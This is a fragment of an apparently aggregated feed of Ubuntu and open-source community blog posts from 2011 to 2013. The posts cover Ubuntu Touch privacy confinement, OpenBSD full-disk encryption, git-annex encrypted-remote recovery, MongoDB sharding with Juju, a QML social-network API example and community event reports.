]]> Jackson Doak Ubuntu Touch and User Privacy http://mdeslaur.blogspot.com/2013/12/ubuntu-touch-and-user-privacy.html http://mdeslaur.blogspot.com/2013/12/ubuntu-touch-and-user-privacy.html Mon, 16 Dec 2013 19:25:00 GMT Application Confinement When we started thinking about how to design the security infrastructure in Ubuntu Touch, one of the important criterias was user privacy. For Ubuntu Touch, and the converged desktop in the future, we are moving from a model where people install software provided in an archive maintained by packagers to a model where applications get uploaded by the authors themselves directly into a software store. While this allows users to quickly gain access to the latest and greatest applications, it also brings with it a new problem: how to prevent malicious applications from stealing the user’s private data.

The traditional archive model in Ubuntu is based on trust, barrier to entry, and time. In order to get something uploaded or modified in the archive, a developer needs to demonstrate trustability by contributing a significant amount of work before upload rights are granted. Learning how to create and modify packaging, and successfully getting contributions sponsored is complex, time consuming, and is a barrier to entry. Once a package does get uploaded or modified, it is generally done in the development release. This allows a package to be in the archive for a certain amount of time before it becomes part of an official release. Hopefully, if something malicious does make it to the archive, it will be discovered in the development release before it gets published in an official release.

This long and complex process results in a software archive that can be trusted, but prevents software developers from being able to quickly get new versions of their software into the hands of their users. One of the goals of the Ubuntu Software Store is to allow a software developer to perform a few simple steps and have their application available to be installed by users in minutes, not in months.

How do we trust software that can be made available to users in minutes? Simple: we confine it, and prevent it from accessing the user’s private data.

The Permissions Problem


At some point, an application may need to access some of the user’s data for it to be useful. For example, an image editing application is quite useless if it can’t open any of the user’s pictures. There needs to be a way to give applications permission to access certain data.

On another mobile platform, this is solved in two ways: having each application ship with a list of required permissions, and implement a shared storage location where applications can freely access the user’s files. When a user installs an application, a dialog box is displayed listing all the permissions that are required for the application to work correctly. The user then has two choices: they can either continue with the installation and grant the required permissions, or they can cancel the installation process.

As a user, this is a difficult choice to make.

In order for a user to make an informed decision about a security question, there needs to be some context. If a flashlight application I am attempting to install indicates that it requires access to my address book, I have no idea at this point in time why that access is required. Does the application feature a “Recommend this app to friends!” button which would require access to my contact list, or does it contain adware that wants to data mine me? At this stage, I am unable to make an informed decision on the trustworthiness of the application, and will most likely install it even if I’m not in complete agreement with the permissions that are being requested. This is an all-or-nothing proposition: there is no way for me to use an application if I don’t accept the complete list of permission it requests.

This results in a software store loaded with no-cost applications that exist solely to data mine personal information for profit. Users are walking around with mobile devices completely unaware of the fact that the trivial applications they’ve installed are tracking every move they make.

Trusted Helpers


In the security model we’ve developed, users get to make decisions on sensitive actions at the moment they are needed, instead of at application installation time. This is performed by system components called “Trusted Helpers”.

Ubuntu Software Store applications are confined by default. They can only access their own directories, and their own data. Instead of granting permissions to access user data, we grant access to request user data using Trusted Helpers. This allows applications to access specific data as approved by the user instead of granting permissions to access it all.

For example, instead of granting permission to directly access all of the user’s contact list, an application can request access to a contact. The system address book will then display a list of contacts to the user and only the specific contact selected by the user will be sent to the application. The application only has access to the contact which was specifically authorized by the user.

If a flashlight application needs access to a user contact in order for a “Recommend this app to friends!” button to work, the user will be making an informed choice, as the request will be the direct result of having pressed the button. The flashlight app can be used without fear of it accessing contact information during normal usage.

The same idea exists to exchange data between applications. If the user wants to edit a picture using an image editing application, the application will ask a system service known as the Content Hub to obtain an image. The Content Hub will then request a picture from the application which owns the data, in this case the Gallery application. The Gallery application will display a picker dialog to the user allowing them to select a specific photo to which the image editor will be granted access.

A similar approach exists for access to other system services that are security-sensitive, such as the device GPS. At the moment an application wants to access the user’s location, a dialog will be displayed asking for permission. If the user accepts the request, the decision is cached, and the application can now access the user’s location in the future. If the user declines, the application can continue functioning normally, but without the location information. A user will be able to revoke the granted permissions at any time.

Trusted Helpers allow users to specify, in a fine-grained way, which private information can be accessed by applications. The decision to grant these permissions is done at the moment the access is needed, giving the user the appropriate context for making an informed decision. Applications can be installed and used without fear that private data is being collected in the background.

Policy Groups


Applications in the Ubuntu Software Store are confined with technology called AppArmor. In order to facilitate the creation of AppArmor profiles by application developers, Ubuntu comes with a predefined list of “Policy Groups”. These Policy Groups are specified by application developers when creating packages for submission to the Ubuntu Software Store.

Some of the Policy Groups simply give access to the APIs necessary to communicate with Trusted Helpers. For example, the “location” Policy Group allows an application to communicate with the location service which uses the GPS, but does not give access to the GPS directly. The location service is a Trusted Helper which will prompt the user for authorization, so the mere presence of this Policy Group doesn’t directly affect user privacy.

Some of the other Policy Groups, such as “networking”, grant access to common services that aren’t really suitable for user prompting. Since most applications need network access, it would be inconvenient and inefficient to prompt the user for each one.

Although Policy Groups weren’t designed to be visible to end users, there is a utility in the Ubuntu Software Store called “Permy” that will display the ones being used by each installed application.

Power users who would like to experiment with restricting Policy Groups for installed applications can currently do so by editing the security manifest files. Each package in the Ubuntu Software Store ships a security manifest file that enumerates the Policy Groups granted to the package. When the package is installed, its security manifest file is available in /var/lib/apparmor/clicks/ and it can be edited by the admin of the system. For example, if you wanted to remove the “networking” Policy Group from the hello-world application:

$ adb shell vi /var/lib/apparmor/clicks/ar.com.beuno.hello-world_hello-world_0.1.json

change:

{
    "policy_groups": [
       "networking"
    ],
    "policy_version": 1.0
}

to:

{
    "policy_groups": [],
    "policy_version": 1.0
}

Then apply the changes to the AppArmor policy with:

$ adb shell aa-clickhook -f

At the moment, application upgrades will reset any modifications done to Policy Groups, but we will be introducing override files in this development cycle. The override files will allow power users to revoke application Policy Groups in a way that will survive application upgrades.

In the future, we intend to develop the required system service to allow power users to easily revoke Policy Groups with a simple graphical interface.

The User is in Control


We believe the user should ultimately be in control of all access to their private data, and security should be more fine-grained than the all-or-nothing access inherent to a set of predetermined permissions associated with an application. Allowing the user to selectively share data with applications on a use by use basis as is done with Trusted Helpers makes Ubuntu Touch and the Ubuntu Software Store the ideal platform for privacy conscious users.]]> Marc Deslauriers Ubuntu Trusty translations are now open https://blogs.gnome.org/happyaron/2013/12/14/ubuntu-trusty-translations-are-now-open/ https://blogs.gnome.org/happyaron/2013/12/14/ubuntu-trusty-translations-are-now-open/ Sat, 14 Dec 2013 08:55:05 GMT We are pleased to announce that Trusty is now open for translation:

https://translations.launchpad.net/ubuntu/trusty

* Translation caveats. Remember that according to the release schedule [1] translatable messages might be subject to change until the User Interface Freeze [2].
* Language packs. During the Trusty development cycle, language packs containing translations will be released twice per week [3] except for the freeze periods. This will allow users and translators to quickly see and test the results of translations.
* Test and report bugs. If you notice any issues (e.g. untranslated strings or applications), do check with the translation team [4] for your language first. If you think it is a genuine bug, please report it [5].

Happy translating! :-)

[1] https://wiki.ubuntu.com/TrustyTahr/ReleaseSchedule
[2] https://wiki.ubuntu.com/UserInterfaceFreeze
[3] https://dev.launchpad.net/Translations/LanguagePackSchedule
[4] https://translations.launchpad.net/+groups/ubuntu-translators
[5] https://bugs.launchpad.net/ubuntu-translations/+filebug

]]> Aron Xu I Know what You Did This Summer https://blogs.gnome.org/lferrett/2013/08/03/i-know-what-you-did-this-summer/ https://blogs.gnome.org/lferrett/2013/08/03/i-know-what-you-did-this-summer/ Sat, 03 Aug 2013 20:50:51 GMT For your visual pleasure, here are some fresh screenshots from GNOME 3.9.5. Enjoy 🙂

Weather and Maps

Plan your vacations!
Plan your vacations!

Disk Usage and Notes

When numbers really matters
When numbers really matters

Photos

Make your memories bright
Make your memories bright

Universal Access

Plain and simple
Plain and simple

System Monitor and Nautilus and…

Oh my gosh! Is this menu item real?!?!?
Oh my gosh! Is this menu item real?!?!?

 

 

]]> Luca Ferretti Spanish or Bust: Attaining fluency in 90 days or else ... http://ncommander.blogspot.com/2013/06/spanish-or-bust-attaining-fluency-in-90.html http://ncommander.blogspot.com/2013/06/spanish-or-bust-attaining-fluency-in-90.html Sat, 29 Jun 2013 01:38:00 GMT
"How do you have an adventure?"

"You take a stupid idea, and follow through ..."

Perhaps, I've truly lost my mind for once, but I've decided to embark on a personal project to try and achieve some fluency in Spanish in just 90 days, and posting it to the internet to try and keep me honest and on track towards doing so. I will post future updates as I go, and would welcome help from anyone who would be interested in helping!

The cost of failure: being forced to praise Wndows 8 in a future video, and run it for one week on my laptop.



(I apologize for the quality, but I finally managed to find the nerve to record myself doing this, and just uploaded before I lost it again)


]]> Michael Casadevall Left Canonical https://dmtechtalk.wordpress.com/2013/06/11/left-canonical/ https://dmtechtalk.wordpress.com/2013/06/11/left-canonical/ Tue, 11 Jun 2013 15:59:51 GMT After almost 6 years the time has come to move on. I’m no longer with Canonical. New things on the horizon. I still plan on participating in Linux especially ARM Linux and also still being a part of Ubuntu Linux Community too.

It’s been an interesting journey with Canonical, managing engineers around the world, up at weird hours of the day, starting a new flavour of Ubuntu (ARM), fighting daylight savings time twice a year, and finally supporting sales folks.  Always interesting, but I’m looking forward to the next new thing.  I will however miss the people, for the last 6 years I worked with some really smart people and I learned a lot from them.

]]> David Mandala Fixing build failures for 13.04 http://drowninginbugs.blogspot.com/2013/04/fixing-build-failures-for-1304.html http://drowninginbugs.blogspot.com/2013/04/fixing-build-failures-for-1304.html Mon, 08 Apr 2013 19:02:00 GMT One of the pleasures (and privileges) of Free Software is transparency in consistency, here meaning it's fairly painless to see where stuff fails to build in Ubuntu and to be able to help in fixing those failures.

Let's get 13.04 into shape!]]> Daniel T Chen Setting up full-disk encryption in OpenBSD 5.3 /blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/ /blog/2013-03-26-setting-up-full-disk-encryption-in-openbsd-5.3/ Tue, 26 Mar 2013 13:40:54 GMT I recently decided to try out a snapshot of OpenBSD 5.3, intrigued by the notice that

softraid(4) RAID1 and crypto volumes are now bootable on i386 and amd64 (full disk encryption).

I’ve always used an encrypted LVM (as setup by the alternate CD) with a fully encrypted root on my netbook and laptop when running Debian/Kubuntu and never noticed much a performance hit. Unfortunately, I’m not the only one who has noticed a significant drop in performance with full-disk encryption on OpenBSD.

Although the steps required to setup full-disk encryption (as opposed to requiring manual intervention at boot or the equivalent of loop-mounted encrypted images via vnconfig(8)) on OpenBSD are not explicitly documented anywhere, searching through the mailing lists, man pages, and trial and error provided the following steps:

  1. Boot from your install media. Select the (S)hell option.
  2. Assuming the disk you’re installing to is “wd0”, run fdisk -i wd0 if you’re on an i386. If I’m not mistaken, you can skip to the following step otherwise.
  3. Run disklabel -E wd0. Create a label (typically b) of the appropriate size of type swap for swap, and then add a label a using the remainder of the space of type RAID. We aren’t going to put swap on our crypto device since OpenBSD has encrypted the swap partition by default since 2005.
  4. Setup the crypto volume as described in bioctl(8). You will be prompted for a passphrase and presented with a message along the lines of softraid0: SR CRYPTO volume attached as sd0 on successful setup. I used bioctl -c C -l /dev/wd0a softraid0 where
    • -c C specifies a device with raidlevel “CRYPTO”,
    • -l /dev/wd0a specifies the label of type RAID created in step 3 to use for the CRYPTO device, and
    • softraid0 is the softraid device to configure (this value should work unless you already have a softraid0 device).
  5. exit from the shell and (I)nstall as normal, installing to the disk sd0 (or whichever disk the crypto volume got attached as). In the partitioning dialog, you may need to manually adjust things since the auto-partitioning creates an additional swap label on sd0, which we don’t need given we already have wd0b.
  6. Using ed(1), add the line 1a8bab44e9cc178d.b none swap sw to /mnt/etc/fstab, assuming that 1a8bab44e9cc178d is the DUID associated with wd0.1 Alternatively, wait until you boot into your system, and add it to your /etc/fstab using vi(1) or mg(1).
  7. Reboot, and you’ll be prompted for your passhprase. You’re done!

Here’s a screenshot of steps 1 through 4.

Steps 1 through 4

Here’s a screenshot of the passphrase prompt, after successfully entering the passphrase:

Passphrase prompt

If I’ve made any errors in the steps above, please point them out in the comments below or by sending me an email.

  1. You can find this out by running sysctl hw.disknames. It will output something like hw.disknames=wd0:1a8bab44e9cc178d,cd0:,[...]. Just search for the DUID associated with wd0. ↩︎

]]> Ryan Kavanagh Bash script self-updates from github http://foss-boss.blogspot.com/2013/03/bash-script-self-updates-from-github.html http://foss-boss.blogspot.com/2013/03/bash-script-self-updates-from-github.html Mon, 11 Mar 2013 22:07:00 GMT Recently the systems engineering team @ Cloud9ers ($dayjob) has been busy building the infrastructure for a very ambitious and large scale project for one of our customers. The project involves tons of distributed programming besides lots of systems work as well. I'd like to share with the community a small tidbit of information. It's often some small things the one sometimes gives a moment to admire, and hereby share!

The problem

  • We are building a private cloud. Ubuntu server instances running on that are cloned from a master template
  • While most clouds provide what I call "Instance Identity" information through some pre-known web service URI, in our case we utilize VMware's "Invoke-VMScript" API to run scripts inside the cloned template, thus customizing it and giving it its identity, then puppet takes it from there. Note that we're using a simple vCenter+ESXi (no vCloud stuff here) no shared storage even!

Ok the real problem

  • Editing the template, and publishing it across the cloud (a topic for another post) takes considerable time! I wanted a way to be able to quickly update my identity scripts without having to re-build and re-publish images

Solution

  • A script with a trivially simple (thus mostly fixed) "bootstrap" section, which auto-updates itself from github and relaunches its-new-self!

Code

Nothing ground breaking, but still a cool trick eh! Yeah I could have added a broken this into multiple scripts and maybe run-parts them. Of-course this script is quite basic, but it's meant to remain that way since the heavy lifting is puppet's responsibility!
Note: To run this successfully the user this is run under, should have passwordless sudo rights to run "ip" and to run "itself" :) Got cool ideas, thoughts or comments? Leave me a message

]]> Ahmed Kamal I think I have a solution to the rolling and releasing http://davmor2.blogspot.com/2013/03/i-think-i-have-solution-to-rolling-and.html http://davmor2.blogspot.com/2013/03/i-think-i-have-solution-to-rolling-and.html Thu, 07 Mar 2013 23:22:00 GMT
This I think gives users a regular cadence they are used to. Gives people like system 76 a regular OEM install it has security back ports from the continuing rolling release.  It gives app devs a set of libs for 6 months that won't change.  And means there is only a fortnight slow down for the devs.

Plus the community driven derivatives can continue to use their current 6 monthly cadence. Everyone is happy :-)]]> Dave Morley Introducing Friends! https://blogs.gnome.org/kenvandine/2013/03/07/introducing-friends/ https://blogs.gnome.org/kenvandine/2013/03/07/introducing-friends/ Thu, 07 Mar 2013 21:46:33 GMT The Friends Service provides an API for interacting with your social
networks. The friends service uses microblogging accounts configured in
Ubuntu Online Accounts.

Currently there are friends plugins for facebook, twitter, flickr,
foursquare and identica.

Sound familiar? Friends is actually a rewrite of the Gwibber service. It
began as an attempt to port gwibber-service to python3 and add testing, but
it quickly became obvious that it would be easier to start over. Credit for
the rewrite goes to Barry Warsaw and Robert Park, they rocked friends!

Impressively, Barry got the rewrite started by writing the test suite and using test
driven development, what a hero! Friends now has an extensive test suite and truly 
beautiful code.

The service provides a Dee.SharedModel that contains the aggregated feed
from all of your enabled accounts. Any application can connect to this
model and provide a user interface to display the feed. You can create
filtered models off that shared model to sort or limit the results to specific
accounts, types, etc. Your application never actually talks directly to the
web API provided by the social network, it would just interact with Friends.

This Dee model is currently used in the Friends lens, People lens and Gwibber.

The Friends service also provides APIs for sharing images, posting status
updates, replies, liking posts, retweet, contact sync, etc.

GObject APIs are provided by libfriends, including vala and GIR bindings (plus some GTK widgets). There is also a QML plugin, qml-friends.

All the packages are available in universe for raring, and for quantal in the super-friends PPA.

Here’s an example using Friends from QML posting a status update:


import QtQuick 2.0
import Ubuntu.Components 0.1
import Friends 0.1

MainView {
    applicationName: "poster"

    width: units.gu(50)
    height: units.gu(20)

    FriendsDispatcher {
        id: friends
        // use this to check if the send was successfull
        onSendComplete: {
             if (success) {
                 activitySpinner.visible = false;
                 entry.text = "";
                 console.log ("Send completed successfully");
             } else {
                 activitySpinner.visible = false;
                 console.log ("Send failed: " + errorMessage);
             }
         }
    }

    Column {
        anchors.centerIn: parent
        width: units.gu(40)
        spacing: units.gu(2)

        TextArea {
            id: entry
            objectName: "entry"
            anchors {
                left: parent.left
                leftMargin: units.gu(1)
                right: sendButton.left
                rightMargin: units.gu(1)
                bottomMargin: units.gu(1.5)
            }
            focus: true
            font.pixelSize: FontUtils.sizeToPixels("medium")
            font.family: "Ubuntu"
            // send message if return was pressed
            Keys.onReturnPressed: sendButton.clicked(null)
            Keys.onEscapePressed: text = ""
            height: units.gu(4)
            placeholderText: i18n.tr("Compose")
            autoSize: true
            maximumLineCount: 0
            ActivityIndicator {
                id: activitySpinner
                objectName: "activitySpinner"
                anchors.centerIn: entry
                visible: false
                running: visible
            }
        }
        Button {
            id: sendButton
            objectName: "sendButton"
            anchors {
                right: parent.right
                rightMargin: units.gu(1)
                left: entry.right
                bottom: entry.bottom
            }
            width: units.gu(9)
            height: units.gu(4)
            color: "#dd4814"
            text: i18n.tr("Send")
            onClicked: {
                console.log ("Post: " + entry.text);
                activitySpinner.visible = true
                friends.sendAsync(entry.text);
            }
        }
    }
}
]]> Ken VanDine git-annex: encrypted remotes https://debblog.philkern.de/2013/03/git-annex-encrypted-remotes.html https://debblog.philkern.de/2013/03/git-annex-encrypted-remotes.html Sun, 03 Mar 2013 22:44:00 GMT data loss I blogged about, I had to reverse engineer the encryption used by git-annex for its encrypted special remotes. The file system on which the content lived has a bullet hole of 8 GB in it, which was helpfully discarded by pvmove. It's pretty unhappy about that fact, parts of the git repository are unusable and directories cannot be accessed anymore. git-annex cannot possibly run anymore.

However, I was still able to access the git-annex branch within said git repository (using porcelain). This branch contains a file called remote.log which contains the keys of the special remotes. There's one per remote, encrypted to a GPG key of your choice and all files within that remote are encrypted with the same symmetric key.

One small detail stopped me from getting the decryption right the first time, though. It seems that git-annex uses randomness generated by GPG and armored into base64. In my naïveté I spotted the base64 and decoded it. Instead it's used verbatim: the first 256 bytes as HMAC key (which reduces randomness to 192 bytes) and the remaining bytes for the symmetric key used by GPG (which will do another key derivation for CAST5 with it). A bug about that just hit the git-annex wiki.

With that knowledge in mind I wrote a little tool that's able to generate encrypted content keys from the plain ones used in the symlinks. That helps you to locate the file in the encrypted remote. Fetch it and then use the tool to decrypt the file in question with the right key.

The lesson: Really backup the git repository used with git-annex and especially remote.log. I'm now missing most of the metadata but for some more important files it's luckily still present. Recovery of the file content does not depend on it if you can deduce the filename from the content. If you have many little files it might be a bit futile without it, though.]]> Philipp Kern Let's shard something http://blog.xtremeghost.com/2012/11/lets-shard-something.html http://blog.xtremeghost.com/2012/11/lets-shard-something.html Fri, 30 Nov 2012 07:59:00 GMT
Today I'll be talking about sharded clusters in MongoDB using Ubuntu Precise and Juju.

According the the mongodb documentation found on their website, one way of deploying a Shard Cluster is as follows:
  • deploy config servers
  • deploy a mongo shell (mongos)
  • deploy shards
  • connect the config servers to the mongo shell
  • add the shards to the mongo shell
This is a pretty involved process that normally takes several hours to accomplish.  In this post, I will show you a way of deploying a sharded cluster in minutes using Ubuntu, Juju and the MongoDB charm.

For the impatient, here is a video of the entire deployment:



For the not so impatient, here is a more detailed explanation of the deployment.

A few things to keep in mind when configuring this sharded cluster configuration:
  • Each shard will be a replica set with three nodes each.  As such, each shard must have a different replica-set name so it can be successfully registered as part of the cluster.
  • We will deploy three configuration servers
Bootstrap the environment
juju bootstrap

Mongo Shell
juju deploy mongodb mongos

As described in the MongoDB charm, there are many options that can be configured to suit your needs.  For this deployment, most of the configuration options will work with the exception of the replicaset which will need to be different for each shard.

Fortunately, a simple yaml file with our configuration overrides is all that's needed.

Prepare a configuration file similar to the following:
shard1:
  replicaset: shard1
shard2:
  replicaset: shard2
shard3:
  replicaset: shard3
configsvr:
  replicaset: configsvr

We'll save this one as ~/mongodb-shard.yaml



Config Servers ( we'll deploy 3 of them )
juju deploy mongodb configsvr --config ~/mongodb-shard.yaml -n3


Shards ( We'll deploy three replica-sets )
juju deploy mongodb shard1 --config ~/mongodb-shard.yaml -n3
juju deploy mongodb shard2 --config ~/mongodb-shard.yaml -n3
juju deploy mongodb shard3 --config ~/mongodb-shard.yaml -n3


Connect the Config Servers to the Mongo shell (mongos)
juju add-relation mongos:mongos-cfg configsvr:configsvr


Connect each Shard to the Mongo shell (mongos)
juju add-relation mongos:mongos shard1:database
juju add-relation mongos:mongos shard2:database
juju add-relation mongos:mongos shard3:database


With the above commands, we should now have a three replica-set sharded cluster running.
Using the default configuration, here are some details of our sharded cluster:
  • mongos is running on port 27021
  • configsvr is running on port 27019
  • the shards are running on the default mongodb port of 27017
  • The web admin is turned on by default and accessible with your browser on port 28017 on each of the shards after exposing the service.



After a few minutes, your sharded cluster should be ready.  Let's verify that everything went as planned:
  • Verify your config servers
    • juju expose configsvr
    • juju status configsvr
    • Open your browser to http://<public-address-of-configsvr:28017
  • Verify that each shard
    • juju expose <shard1|shard2|shard3>
    • juju status <shard1|shard2|shard3>
    • Open your browser to http://<public-address-of-shard>:28017
  • Verify that each shard has been successfully register with the cluster:
    • juju expose mongos
    • juju status mongos
    • mongo --host <public-address-of-mongos>:27021
    • Once connected:
      • sh.status()
      • Results should be similar to the following:
MongoDB shell version: 2.0.6
connecting to: ec2-184-169-254-0.us-west-1.compute.amazonaws.com:27021/test
mongos> sh.status()
--- Sharding Status --- 
  sharding version: { "_id" : 1, "version" : 3 }
  shards:
        {  "_id" : "shard1",  "host" : "shard1/ec2-184-169-236-25.us-west-1.compute.amazonaws.com:27017,ec2-54-241-89-206.us-west-1.compute.amazonaws.com:27017,ip-10-170-173-51:27017" }
        {  "_id" : "shard2",  "host" : "shard2/ec2-204-236-159-194.us-west-1.compute.amazonaws.com:27017,ip-10-170-22-104:27017" }
        {  "_id" : "shard3",  "host" : "shard3/ec2-184-169-219-11.us-west-1.compute.amazonaws.com:27017,ec2-184-169-239-214.us-west-1.compute.amazonaws.com:27017,ip-10-170-215-20:27017" }
  databases:
        {  "_id" : "admin",  "partitioned" : false,  "primary" : "config" }

mongos> 
      • In the above status, you should see the hosts associated with each of your shards.

You now have a MongoDB sharded cluster accessible via the public-address of the mongos instance... enjoy ... and don't forget to destroy the environment when you're done with it:

 juju destroy-environment


-Juan

]]> Juan Negron Kubuntu got Donations, KDE needs Donations http://werghdf.blogspot.com/2012/09/kubuntu-got-donations-kde-needs.html http://werghdf.blogspot.com/2012/09/kubuntu-got-donations-kde-needs.html Fri, 21 Sep 2012 13:31:00 GMT DSCF7055 There we were starting discussions for the Ubuntu Developer Summit at the end of October in Copenhagen and wondering who we could afford to send when I got a nice e-mail asking what it would cost to send everyone who wanted to go. I replied with a rough budget of what the flights and hotel would be and next thing I know that amount had appeared in my Paypal account. Now I like to think Kubuntu is a friendly and trusting community but this is generosity beyond my expectations. I'm constantly amazed with how much people like Kubuntu and how they show it.

Now KDE needs your donation for the annual Randa Sprint of kde-core developers. It's nearly at the target so let's see if we can push it over the line today! Click here to lend your support to: KDE Randa Meetings and make a donation at www.pledgie.com ! ]]> Jonathan Riddell UK LoCo Christmas Dinner @ Dans Le Noir https://itigloo.com/2011/12/10/uk-loco-christmas-dinner-dans-le-noir/ https://itigloo.com/2011/12/10/uk-loco-christmas-dinner-dans-le-noir/ Sat, 10 Dec 2011 14:36:44 GMT Thanks to Alan Bell for organising a wonderful Christmas dinner at Dans Le Noir last night. It was a wonderful venue and the food was amazing. I never realised how dark, dark could really be.

I would recommend this restaurant to anybody.  Also remember, this is the only restaurant  where you can get away with eating with your fingers and licking your plate when you are finished. As it is so dark, who would ever know.

I was however, slightly disappointed that some of the other members of the podcast team couldn’t come. Maybe to make up for this, they should all be blindfolded while recording the next podcast.  Just a suggestion 😉

]]> Chris Woollard UDS Day 3 https://gilir.wordpress.com/2011/11/03/uds-day-3/ https://gilir.wordpress.com/2011/11/03/uds-day-3/ Thu, 03 Nov 2011 04:33:54 GMT

Today Sessions :

Defect Analyst Bug Review Dashboard

http://summit.ubuntu.com/uds-p/meeting/19483/other-p-bug-dashboard/

https://blueprints.launchpad.net/ubuntu/+spec/other-p-bug-dashboard

This session was to create a way to monitor bugs across several packages and in an efficient way. Currently, most people who want to work on bugs of multiple packages create a team and subscribe all packages to this team. It’s working to get information, but nothing exist to summarize statistics about the bugs (status, severity, in progress …).

 

Ask Ubuntu for the experts

http://summit.ubuntu.com/uds-p/meeting/19717/community-askubuntu-experts/

https://blueprints.launchpad.net/ubuntu/+spec/community-askubuntu-experts

Presentation of Askubuntu.com, and some advanced features to use it (edit, tag, bounty, votes …), and possible integration with Loco teams. It still sad that it’s only in English, so not easy to do support, in counties which don’t speak English.

 

Calendar Integration

http://summit.ubuntu.com/uds-p/meeting/19450/desktop-p-calendar-integration/

https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-calendar-integration

This session was to discuss the use of a calendar application, because with the switch to Thunderbird, there is no calendar in 11.10.

There is different solutions :

– Adding extension to TB to handle calendar features. But some people express the wish to have no extension by default on TB.

– Adopting Maya, the calendar application of Elementary OS. But this application is not finished, and it needs help to be functional.

– Write a new application. But it needs time and resources, + it will probably be dropped once Gnome have it’s own calendar application, or if Maya is finished and works well.

Discussion followed in the Default application session, and probably nothing will happen this cycle to add a calendar solution (unless a drop-in solution is found).

 

12.04 LTS (Precise Pangolin) Release Planning

http://summit.ubuntu.com/uds-p/meeting/19548/other-p-release-lts-planning/

https://blueprints.launchpad.net/ubuntu/+spec/other-p-release-lts-planning

This one was about the schedule of the release, the different milestones etc … It’s a review of the current roadmap, and adjustments of it. For example, the DebianImportFreeze (the date when automatic imports from Debian testing stopped) was moved later in the cycle due to Christmas break. Also, it was confirmed that there will be no RC official images, but a period when images will be declared as “release candidate”.

Also, the status of derivatives was discussed. Finally, something was written about the status of derivatives, how you can achieve this status, what support is provided by Canonical … It was something always blurry, and we suffer it when Lubuntu tried to be official.

See details on :

https://wiki.ubuntu.com/RecognizedDerivatives

 

The plenaries was about ARM technology and patents. There was also the traditional group photos after.

 

GNOME Version

https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-gnome-version

http://summit.ubuntu.com/uds-p/meeting/19454/desktop-p-gnome-version/

This session was to discuss which version of GNOME will be shipped, 3.2 (the actual stable one) or 3.4 (the next stable one).

For the 2 main parts of the platform (GTK and glib), the plan is to update them to 3.4. It may have problems with multitouch support which is now included in GTK. It may conflict with Ubuntu multitouch implementation. There was also a discussion about the idea to have some sort of LTS version for GTK (discussion to be continued with GNOME people).

The plan for the rest of the applications is to stay by default on 3.2, and pickup components from 3.4 in some cases. Nautilus (and gvfs), Evolution for example should stay with 3.2, like empathy. For other small applications, it will be discuss case by case.

 

Default Apps Discussion

https://blueprints.launchpad.net/ubuntu/+spec/desktop-p-default-apps

http://summit.ubuntu.com/uds-p/meeting/19442/desktop-p-default-apps/

This is the usual session to discuss applications by default. Many topics was discussed :

– Inclusion of Boot-repair in the Live-CD : probably yes if there is no stopper.

– Inclusion of FreeRDP : to be check with security.

– Video editor : No (not needed by default)

– Rhythmbox / Banshee :

This subject was a bit of surprise for me, I didn’t expect such discussion will happen. However, the 2 applications have problems :

– Banshee : Problem on ARM (doesn’t work), no GTK3 support, and removing Banshee will remove Mono from the CD (good for the space) and probably from main (which make Security team happy, not having to maintain Mono stack for 5 years)

– RB : U1 store need to be updated, Music lense needs to be updated, it needs a release from upstream.

A quick vote on usage of both applications in the room makes approximately a 50 / 50 result (maybe a bit more for RB).

Conclusion, RB will probably be back on the CD, if no problem is raised by the other teams not present during the session. The decision was not easy, but IMO it makes sense in the context of an LTS. And, well, Banshee will still be available in the archive, will at least the same level of integration than in 11.10.

]]> Julien Lavergne FlossManuals/Google Documentation Summit https://dindafoss.wordpress.com/2011/10/18/flossmanualsgoogle-documentation-summit/ https://dindafoss.wordpress.com/2011/10/18/flossmanualsgoogle-documentation-summit/ Tue, 18 Oct 2011 13:45:26 GMT I’m fortunate to be included in the group attending the Floss Manuals & Google hosted event Documentation Summit. Four really worthwhile and interesting projects were chosen and several freelancers (like myself) are also helping out. The format is part unconference and part book sprint. The goals are promote dialog among the various FOSS folks as well as produce a book about each project in three days. Pretty ambitious!

Dialog is easy, there is never a lack of ideas and suggestions. The projects include KDE, OpenStreet Map, Sahana and OpenMRS. Sahana is an emergency relief and disaster planning project and OpenMRS is a Medical Records System for developing areas. These were the two projects I knew the least about coming into the event but both have greatly impressed me with their scope and team members.

The books will be available for download by this weekend so I’ll update everyone on where to find them. Also, if you’re a developer looking to scratch an itch and help folks, one of these projects might be for you! If you’re a System Admin or make recommendations to organizations who might need a great OpenMRS or disaster planning software, we’ll have a book for you at the end of the week.

Follow the event on twitter #docsummit #flossmanuals

]]> Belinda Lopez Ubuntu Global Jam Oneiric http://tumbleweed.org.za/2011/09/05/ubuntu-global-jam-oneiric http://tumbleweed.org.za/2011/09/05/ubuntu-global-jam-oneiric Mon, 05 Sep 2011 17:22:04 GMT We had quite a successful Ubuntu Global Jam on Saturday. Thanks Yola for hosting us. It was only 5 of us, and I was the only one with any uploads under my belt, but the nice small team meant I had time to help everyone fix some build failures. We had intended to focus on Scientific packages, but it was easier to just pick arbitrary build failures from the most recent archive rebuild.

Maia visited us briefly at lunch time and took some photos, thanks :) Sorry you couldn’t stay longer.

Some stats from the jam

Examples that we fixed together:

Kyle Williams:

Marco Gallotta:

Michiel Baird:

I think that’s pretty good for a day’s work :P

In other news

Eep, haven’t blogged an ages. Since I last blogged, I’ve become a Debian Developer, made an Ibid point release, been to (my first) UDS and a Debconf (which were both fantastic, and very different), spent a week sailing in Croatia with my brother, and been pulled into the Ubuntu release team. All this has meant little progress in my MSc, though :/

]]> Stefano Rivera The sooner the better. https://primes2h.wordpress.com/2011/06/06/the-sooner-the-better/ https://primes2h.wordpress.com/2011/06/06/the-sooner-the-better/ Mon, 06 Jun 2011 10:32:19 GMT Hi everybody!

Oneiric Alpha 1 is out and ready to be tested in your laptop.

If you want to be sure your graphic/audio card, touchpad or whatever work when Oneiric will be released on October 13th join us in the Laptop Testing Project.
You can discover every early bug to allow developers enough time to fix those bugs in time for the Official Release.

The procedures for testing images and reporting results are
explained on https://wiki.ubuntu.com/Testing/Laptop/Procedures

Test results will be tracked on http://laptop.qa.ubuntu.com/

Bugs have to be reported in the Ubuntu bug tracker (see https://help.ubuntu.com/community/ReportingBugs)

If you are new to this please register on the tracker, one account per laptop you own.
Remember that you don’t have to if you already tested a laptop last cycle or have an account for ISO testing.

Please let us know if you have any questions, in #ubuntu-testing IRC channel on the Freenode network or joining the QA mailing list at https://lists.ubuntu.com/mailman/listinfo/ubuntu-qa

Good testing!

